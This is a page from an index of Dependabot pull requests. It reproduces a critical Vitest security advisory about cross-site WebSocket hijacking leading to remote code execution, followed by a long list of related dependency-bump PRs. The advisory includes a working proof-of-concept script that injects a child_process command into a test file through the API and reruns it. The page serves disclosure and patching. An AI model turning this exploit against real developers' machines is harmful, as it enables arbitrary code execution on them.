An open index of dependabot pull requests across open source projects.

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

RSS Feed CRITICAL
GHSA-9crc-q9x8-hgqq CVE-2025-24964
Description:

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Affected Packages
Ecosystem Package Vulnerable Versions Patched Version
npm vitest <= 0.0.125
>= 3.0.0, < 3.0.5
>= 2.0.0, < 2.1.9
>= 1.0.0, < 1.6.1
No patch available
Related Dependabot Pull Requests
Build(deps): Bump the npm_and_yarn group across 1 directory with 5 updates
Closed 3 months ago
BEKO2210/HinSchG #43
npm:vitest npm:vite +3 more
BEKO2210
Bump the npm_and_yarn group across 11 directories with 4 updates
Open 3 months ago
BY-SOMMER/vercel #84
npm:vitest npm:better-auth +1 more
BY-SOMMER
Bump the npm_and_yarn group across 12 directories with 4 updates
Closed 3 months ago
BY-SOMMER/vercel #79
npm:vitest npm:better-auth +1 more
BY-SOMMER
chore(deps): bump the npm_and_yarn group across 4 directories with 4 updates
Closed 4 months ago
tknatwork/nid-industry-interface #1
npm:vitest npm:next +2 more
tknatwork
build(deps): bump the npm_and_yarn group across 1 directory with 5 updates
Closed 4 months ago
prof-guifonseca/gota-certa #38
npm:vitest npm:vite +3 more
prof-guifonseca
build(deps): bump the pnpm-workspace group across 1 directory with 6 updates
Closed 4 months ago
Gabriel382/openmimicry #40
npm:vitest npm:@vitest/coverage-v8 +4 more
Gabriel382
build(deps-dev): bump aws-sdk-client-mock-vitest from 4.0.1 to 7.0.1
Open 4 months ago
wdl/slipe-transcoder #16
npm:aws-sdk-client-mock-vitest
wdl
build(deps-dev): Bump the dev-dependencies group with 4 updates
Open 4 months ago
barryroodt/wrily #9
npm:vitest npm:@types/node +2 more
barryroodt
Bump the npm_and_yarn group across 1 directory with 26 updates
Open 4 months ago
FacePrintPay/bolt.new #1
npm:vitest npm:tar-fs +16 more
FacePrintPay
Bump vitest from 2.1.2 to 2.1.9 in /backend
Open 4 months ago
Biligo7/RAFINAI #2
npm:vitest
Biligo7
build(deps): bump the backend-minor-patch group in /novaRewards/backend with 11 updates
Closed 4 months ago
milah-247/Nova-Rewards #818
npm:nodemailer npm:helmet +3 more
milah-247
build(deps): bump the npm_and_yarn group across 4 directories with 21 updates
Closed 5 months ago
HunterSides/excalidraw #22
npm:vitest npm:@babel/runtime +16 more
HunterSides
chore(deps-dev): bump vitest from 2.1.8 to 2.1.9
Closed 5 months ago
Helixar-AI/helixar-mcp #3
npm:vitest
Helixar-AI
chore(deps-dev): bump vitest from 3.0.2 to 3.0.5 in /packages/app-core/test/contracts/lib/openzeppelin-contracts in the npm_and_yarn group across 1 directory
Open 5 months ago
elizaOS/eliza #6793
npm:vitest
elizaOS
build(deps): bump the npm_and_yarn group across 3 directories with 22 updates
Closed 5 months ago
HunterSides/excalidraw #19
npm:vitest npm:firebase +18 more
HunterSides
build(deps): bump the npm_and_yarn group across 4 directories with 22 updates
Closed 5 months ago
HunterSides/excalidraw #18
npm:vitest npm:firebase +18 more
HunterSides
chore(frontend): bump the testing group in /frontend with 4 updates
Open 5 months ago
rohitvaddepalli/AI-Personal-Knowledge #17
npm:@testing-library/react
rohitvaddepalli
build(deps): bump the npm_and_yarn group across 7 directories with 19 updates
Open 5 months ago
loveyou001/excalidraw #5
npm:vitest npm:firebase +15 more
loveyou001
Bump the npm_and_yarn group across 1 directory with 23 updates
Open 5 months ago
mocimoda/cloudflare-docs #8
npm:vitest npm:astro +15 more
mocimoda
Bump the npm_and_yarn group across 1 directory with 13 updates
Closed 5 months ago
FlyingGorillaz/cdc-open-viz #20
npm:vitest npm:axios +10 more
FlyingGorillaz
Bump the npm_and_yarn group across 1 directory with 23 updates
Open 5 months ago
Appel420/cloudflare-docs #4
npm:vitest npm:astro +15 more
Appel420
chore(deps): bump the npm_and_yarn group across 3 directories with 8 updates
Open 5 months ago
ivan09069/stacks-core #50
npm:vitest npm:base-x +4 more
ivan09069
Bump vitest from 1.5.0 to 1.6.1
Closed 5 months ago
funtri-vt/glassbox-filter-agent-testing #1
npm:vitest
funtri-vt
Bump the npm_and_yarn group across 1 directory with 13 updates
Open 5 months ago
AKJUS/zustand-signal #7
npm:vitest npm:@babel/runtime +9 more
AKJUS
chore(deps): bump the npm_and_yarn group across 6 directories with 13 updates
Closed 5 months ago
Jackblanket847/svelte.dev #11
npm:vitest npm:vite +5 more
Jackblanket847
build(deps): bump the npm_and_yarn group across 5 directories with 18 updates
Open 5 months ago
loveyou001/excalidraw #2
npm:vitest npm:firebase +15 more
loveyou001
build(deps-dev): bump vitest from 1.6.0 to 1.6.1 in the npm_and_yarn group across 1 directory
Closed 5 months ago
marklofe028/assay #2
npm:vitest
marklofe028
build(deps): bump the npm_and_yarn group across 2 directories with 16 updates
Closed 5 months ago
jfkmsp/checkmk #68
npm:vitest npm:axios +13 more
jfkmsp
Bump the npm_and_yarn group across 3 directories with 13 updates
Closed 5 months ago
FlyingGorillaz/cdc-open-viz #16
npm:vitest npm:axios +10 more
FlyingGorillaz
Bump vitest from 1.0.4 to 1.6.1 in /examples/with-vitest
Open 5 months ago
Tanker187/next.js #95
npm:vitest
Tanker187
build(deps-dev): Bump vitest from 3.0.0 to 3.0.5 in /packages/agentmesh-integrations/copilot-governance
Closed 5 months ago
microsoft/agent-governance-toolkit #714
npm:vitest
microsoft
build(deps-dev): Bump vitest from 3.0.0 to 3.0.5 in /packages/agentmesh-integrations/mastra-agentmesh
Open 5 months ago
microsoft/agent-governance-toolkit #660
npm:vitest
microsoft
chore(deps): bump the npm_and_yarn group across 1 directory with 6 updates
Closed 6 months ago
dporkka/pglite #1
npm:vitest npm:vite +3 more
dporkka
Bump the npm_and_yarn group across 1 directory with 13 updates
Closed 6 months ago
AKJUS/zustand-signal #6
npm:vitest npm:@babel/runtime +9 more
AKJUS
chore(deps): bump the npm_and_yarn group across 9 directories with 12 updates
Closed 6 months ago
trizist/qstash-js #16
npm:cross-spawn npm:next +6 more
trizist
build(deps): bump the npm_and_yarn group across 2 directories with 15 updates
Closed 6 months ago
jfkmsp/checkmk #62
npm:vitest npm:axios +12 more
jfkmsp
chore(deps): bump the npm_and_yarn group across 2 directories with 18 updates
Open 6 months ago
thirdweb-dev/engine #938
npm:vitest npm:vite +13 more
thirdweb-dev
Bump the npm_and_yarn group across 1 directory with 13 updates
Open 6 months ago
AKJUS/zustand-signal #5
npm:vitest npm:@babel/runtime +9 more
AKJUS
Bump the npm_and_yarn group across 5 directories with 23 updates
Closed 6 months ago
Pcnaid-Dev/Shopify-Apps-Themes-and-Hydrogen-CLI #4
npm:vitest npm:vite +13 more
Pcnaid-Dev
chore(deps): bump the npm_and_yarn group across 1 directory with 10 updates
Closed 6 months ago
DarthGigi/i18n #10
npm:vitest npm:undici +5 more
DarthGigi
build(deps): bump the npm_and_yarn group across 1 directory with 7 updates
Closed 6 months ago
ssushant0011/bunchee #3
npm:vitest npm:cross-spawn +3 more
ssushant0011
chore(deps): bump the npm_and_yarn group across 3 directories with 9 updates
Closed 6 months ago
c6ai/vite #1
npm:vitest npm:axios +5 more
c6ai
Bump the npm_and_yarn group across 7 directories with 17 updates
Closed 6 months ago
ANT0071/partykit #15
npm:vitest npm:astro +11 more
ANT0071
build(deps): bump the npm_and_yarn group across 4 directories with 20 updates
Closed 6 months ago
HunterSides/excalidraw #2
npm:vitest npm:firebase +17 more
HunterSides
chore(deps): bump the dependencies group across 1 directory with 13 updates
Open 6 months ago
Flux-DeFi/LiquidFlow #87
npm:lucide-react npm:eslint +8 more
Flux-DeFi
chore(deps-dev): Bump the development-dependencies group with 15 updates
Open 6 months ago
carlgerhardsson/loneprocess-frontend-v2 #6
npm:eslint-plugin-react-refresh
carlgerhardsson
chore(deps): bump the npm_and_yarn group across 1 directory with 11 updates
Closed 6 months ago
CharlieCortial/dokploy #2
npm:vitest npm:tar-fs +7 more
CharlieCortial
chore(deps): bump the npm_and_yarn group across 3 directories with 19 updates
Open 6 months ago
idgrou/crawlee #34
npm:vitest npm:axios +10 more
idgrou
Bump the npm_and_yarn group across 7 directories with 21 updates
Closed 6 months ago
JSTONE1111/sui #27
npm:axios npm:@babel/runtime +10 more
JSTONE1111
chore(deps): bump the npm_and_yarn group across 3 directories with 19 updates
Closed 6 months ago
idgrou/crawlee #33
npm:vitest npm:axios +10 more
idgrou